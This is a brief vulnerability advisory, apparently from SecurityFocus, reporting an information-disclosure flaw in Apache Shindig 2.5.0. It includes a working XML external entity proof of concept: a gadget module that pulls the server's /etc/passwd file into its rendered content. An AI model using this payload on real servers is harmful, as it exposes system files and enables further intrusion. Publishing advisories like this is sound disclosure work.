source: http://www.securityfocus.com/bid/63260/info

Apache Shindig is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Apache Shindig 2.5.0 is vulnerable. 

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <Module> 
<ModulePrefs title="Test Application"> <Require feature="opensocial-0.9" /> 
</ModulePrefs> <Content type="html"> &passwd; hello </Content> </Module>